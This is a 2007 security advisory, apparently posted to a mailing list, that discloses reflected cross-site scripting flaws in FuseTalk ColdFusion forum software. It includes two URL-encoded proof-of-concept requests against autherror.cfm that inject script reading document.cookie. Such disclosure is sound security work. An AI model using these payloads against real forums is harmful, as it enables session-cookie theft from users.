fusetalkautherror-xss.txt

`Hello everyone,  
  
After trying to report a SQL bug (autherror.cfm) to FuseTalk, and seeing them  
providing patches to customers (dropping new fixed .cfm files in a private place  
reserved to customers) without giving proper credits and without reporting them  
publicly (we were following the Full Disclosure Policy v2.0), we decided to  
release the advisories without contacting them concerning the other bugs we  
found. Here is the second one:  
------------------------  
Advisory: FuseTalk affected by multiple Cross Site Scripting bugs  
Product: FuseTalk Basic/Standard/Enterprise ColdFusion version  
Version: unknown, the vendor fixes bugs without changing version number  
Risk: Medium  
Reported on: April 25, 2007  
Vendor: FuseTalk  
Impact: execution of script code in the victim's browser window  
  
Product Overview  
------------------------  
With an easy-to-use, intuitive administration system, extensive customization  
capabilities and a rich feature set, FuseTalk is a pleasure to use for both  
administrators and forum members. Full RDBMS support, high performance and full  
linear scalability allow FuseTalk to meet your demands.Over 1,000 customers use  
FuseTalk to deliver the benefits of collaborative online communities, including  
VCampus, Rockwell, Seagate Software, Macromedia, Hasbro, U.S. Air Force, AT&T,  
Citicorp, McCormick and Company, Adobe, eBay, AnandTech, NASA, Bloomberg,  
the U.S. Dept. of Energy, VISA, etc.  
  
Summary  
------------------------  
FuseTalk is vulnerable to multiple Cross Site Scripting bugs.  
  
Technical Details  
------------------------  
The problem lies in the /forum/include/error/autherror.cfm script,  
the variables FTVAR_LINKP and FTVAR_URLP are not sanitized.  
  
Proof of Concept (PoC)  
------------------------  
http://[srv]/forum/include/error/autherror.cfm?errorcode=1  
&FTVAR_LINKP=%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie)  
%3C/script%3E%3Ca%20href=%22  
  
http://[srv]/forum/include/error/autherror.cfm?errorcode=1  
&FTVAR_URLP=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
Credit  
------------------------  
Discovered by Ivan Almuina of Fastcom Technology SA.  
  
Contact  
------------------------  
almuina at domainname (following domain)  
fastcom-technology.com  
  
Disclaimer  
------------------------  
The information within this paper may change without notice.  
Use of this information constitutes acceptance for use in an AS IS condition.  
There are no warranties, implied or express, with regard to this information.  
In no event shall the author be liable for any direct or indirect damages  
whatsoever arising out of or in connection with the use or spread of this  
information. Any use of this information is at the user's own risk.  
---  
  
More fusetalk advisories to come,  
  
  
--   
Ivan Almuina  
  
Fastcom Technology S.A.  
Phone: +41 21 619 06 70  
Fax: +41 21 619 06 71  
Internet: http://www.fastcom-technology.com/  
  
`